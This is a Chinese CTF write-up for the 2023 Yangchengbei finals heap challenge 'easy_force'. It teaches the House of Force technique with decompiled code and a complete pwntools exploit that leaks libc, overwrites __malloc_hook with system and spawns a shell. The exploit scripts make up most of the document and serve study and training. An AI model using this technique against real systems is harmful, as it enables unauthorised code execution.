[羊城杯 2023 决赛]easy_force (很好的一个学习 House of Force
的例题)
准备
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { int n2; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v4; // [rsp+8h] [rbp-8h] v4 = __readfsqword(0x28u); sub_4007D6(a1, a2, a3); puts("This day is schoolday,now teacher ask u to write somethings on the balckbroad"); puts("the teacher will leave some space on the balckbroad"); puts("u only give 4 times to reply"); while ( 1 ) { while ( 1 ) { sub_400961(); __isoc99_scanf("%d", &n2); if ( n2 != 2 ) break; sub_40093F(); } if ( n2 > 2 ) { if ( n2 == 3 ) { sub_400950(); } else if ( n2 == 4 ) { exit(1); } } else if ( n2 == 1 ) { sub_400819(); } } }
先是一个sub_400961(菜单)函数
sub_400961(菜单)函数 1 2 3 4 5 6 7 int sub_400961() { puts("1.ask for space"); puts("2.delet what u write"); puts("3.check what u write"); return puts("4.go away"); }
提示语是说有增删查
1-sub_400819(add)函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned __int64 sub_400819() { signed int n4; // [rsp+4h] [rbp-1Ch] BYREF size_t v2; // [rsp+8h] [rbp-18h] BYREF void *v3; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); puts("which index?"); __isoc99_scanf("%d", &n4); if ( (unsigned int)n4 > 4 || *(&buf + n4) ) { puts("already exist!"); exit(1); } puts("how much space do u want?"); __isoc99_scanf("%ld", &v2); size[n4] = v2; v3 = malloc(size[n4]); *(&buf + n4) = v3; puts("now what to write?"); read(0, *(&buf + n4), 0x30uLL); printf("the balckbroad on %p is in use\n", *(&buf + n4)); return __readfsqword(0x28u) ^ v4; }
这里限制创建堆块个数为5个,对创建的堆块大小没有限制 并且在最后会输出创建堆块的地址 在下面输入内容处,用read函数,读取输入最大48(0x30)个字节到块中,但当我们给的大小小于输入内容大小时,就会造成溢出
2-sub_40093F(delete)函数 1 2 3 4 int sub_40093F() { return puts("once u write, u can't clear it out!"); }
没什么用
3-sub_400950(show)函数 1 2 3 4 int sub_400950() { return puts("No! the teacher will check u answer"); }
没什么用
思路 这题虽然限制创建堆块个数,但够用,其他都满足 House of Force
的条件,所以这里有用 House of Force 手法,改 malloc_hook
打 system('/bin/sh')
(概括思路和知识点看 House of Force 自己整理的学习知识点) 因为创建堆块时会泄露堆块地址,所以可以先使用基于 mmap chunk
和 libc
地址的固定偏移关系的方法去泄露 libc
知识点: 在处理大 chunk
时的行为:glibc
的 malloc
对于大于 mmap_threshold
的申请,不使用 heap
,而是直接调用 mmap()
向内核申请一块内存。 默认情况下,这个阈值在 128 KB 左右(也可能是更大) (比如:malloc(0x20000)
➜ 会使用 mmap
)
mmap
分配的大 chunk
地址规律:
使用 mmap()
分配的内存块,一般在 libc 映射地址之下;
在默认的内存布局中,mmap()
返回的地址和 libc.so
的加载基址存在一个固定偏移;
利用:
申请一个超大 chunk
(触发 mmap
)
打印这个 chunk
的地址
减去偏移 ➜ 得到 libc base
这个偏移值是固定的(取决于特定 libc 版本的布局),你只要知道 libc
版本,就可以知道偏移量。
libc.address
(在知道 libc
文件时使用)libc.address
是 pwntools
里的一个属性,其用途是设置 libc 库在内存中的基地址。一旦这个基地址被设置好,pwntools
就能自动计算出 libc
中各个函数和变量的实际地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * context.log_level = "debug" # io=remote('node4.anna.nssctf.cn',28579) io= process('/home/motaly/easy') elf=ELF('/home/motaly/easy') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def add(index,size,content): io.sendlineafter("4.go away\n", "1") io.sendlineafter("which index?\n", str(index)) io.sendlineafter("how much space do u want?\n", str(size)) io.sendlineafter("now what to write?\n",content) add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16) log.success("libc.address :"+hex(libc.address)) #gdb.attach(io)
这里创建的值一定要够大,才会使用 mmap
创建,先获取堆块地址,进行调试,获取堆块地址与libc
的固定偏移
1 2 3 4 add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address))
有了 libc
基址后,开始使用 House of Force
手法通过溢出去修改 top chunk
的 size
,同时把 '/bin/sh'
写入 top chunk
(注意:溢出需覆盖到 top chunk
的 size
字段时篡改后的 size
需满足 (size & 1) == 1
(即 PREV_INUSE
位为 1),否则 glibc
会认为前一个块空闲,触发合并逻辑,导致利用失败。)
1 2 3 4 5 6 7 8 9 add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address)) add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1)) io.recvuntil("on ") top=int(io.recv(10),16)+0x10 log.success("top :"+hex(top))
这里使用 p64(0xFFFFFFFFFFFFFFFF | 0x1)
强制设置PREV_INUSE
标志位 把 '/bin/sh'
写在 0xFFFFFFFFFFFFFFFF 前,以便后面通过 top chunk
调用 '/bin/sh'
考虑到后面创建堆块的 chunk
头部占用空间,这里填充的偏移量进行减少
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address)) add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1)) io.recvuntil("on ") top=int(io.recv(10),16)+0x10 log.success("top :"+hex(top)) malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset))
0x20的值不是一定的,但其他的值需要具体调试,0x20是刚好后面往 malloc_hook
里面写入 system
此时已经计算了 malloc_hook
与 top chunk
间的大致距离,我们通过创建距离大小的堆块,使 top chunk
靠近 malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address)) add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1)) io.recvuntil("on ") top=int(io.recv(10),16)+0x10 log.success("top :"+hex(top)) malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset)) add(1,offset,'a') io.recvuntil("on ") addr=int(io.recv(10),16)+offset log.success("addr :"+hex(addr))
addr
就是创建后的 top chunk
地址 这里在创建一个堆块,内容是 system
,前面的 memalign_hook
和 realloc_hook
用做堆块头,内容输入开始的地方直接是 malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address)) add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1)) io.recvuntil("on ") top=int(io.recv(10),16)+0x10 log.success("top :"+hex(top)) malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset)) add(1,offset,'a') io.recvuntil("on ") addr=int(io.recv(10),16)+offset log.success("addr :"+hex(addr)) add(2,0x10,p64(system)) io.recvuntil("on ") addr1=int(io.recv(14),16) log.success("addr1 :"+hex(addr1))
最后创建堆块,size
值给 top chunk
地址,触发 system('/bin/sh')
(size
值原本我们给的是数值,会把这个数值给 rdi
,现在给的是 top chunk
地址,给 rdi
的值就是 top chunk
的内容)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address)) add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1)) io.recvuntil("on ") top=int(io.recv(10),16)+0x10 log.success("top :"+hex(top)) malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset)) add(1,offset,'a') io.recvuntil("on ") addr=int(io.recv(10),16)+offset log.success("addr :"+hex(addr)) add(2,0x10,p64(system)) io.recvuntil("on ") addr1=int(io.recv(14),16) log.success("addr1 :"+hex(addr1)) io.sendlineafter("4.go away\n", "1") io.sendlineafter("which index?\n", str(4)) #gdb.attach(io) io.sendlineafter("how much space do u want?\n", str(top))
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import * context.log_level = "debug" # io=remote('node4.anna.nssctf.cn',28579) io= process('/home/motaly/easy') elf=ELF('/home/motaly/easy') libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def add(index,size,content): io.sendlineafter("4.go away\n", "1") io.sendlineafter("which index?\n", str(index)) io.sendlineafter("how much space do u want?\n", str(size)) io.sendlineafter("now what to write?\n",content) add(3, 0x888888, 'aaa') io.recvuntil("on ") libc.address= int(io.recv(14),16)+0x888ff0 log.success("libc.address :"+hex(libc.address)) add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1)) io.recvuntil("on ") top=int(io.recv(10),16)+0x10 log.success("top :"+hex(top)) malloc_hook=libc.sym['__malloc_hook'] log.success('malloc_hook :'+hex(malloc_hook)) system=libc.sym['system'] log.success('system :'+hex(system)) offset = (malloc_hook-0x20)-top log.success("offset :"+hex(offset)) add(1,offset,'a') io.recvuntil("on ") addr=int(io.recv(10),16)+offset log.success("addr :"+hex(addr)) add(2,0x10,p64(system)) io.recvuntil("on ") addr1=int(io.recv(14),16) log.success("addr1 :"+hex(addr1)) io.sendlineafter("4.go away\n", "1") io.sendlineafter("which index?\n", str(4)) io.sendlineafter("how much space do u want?\n", str(top)) io.interactive()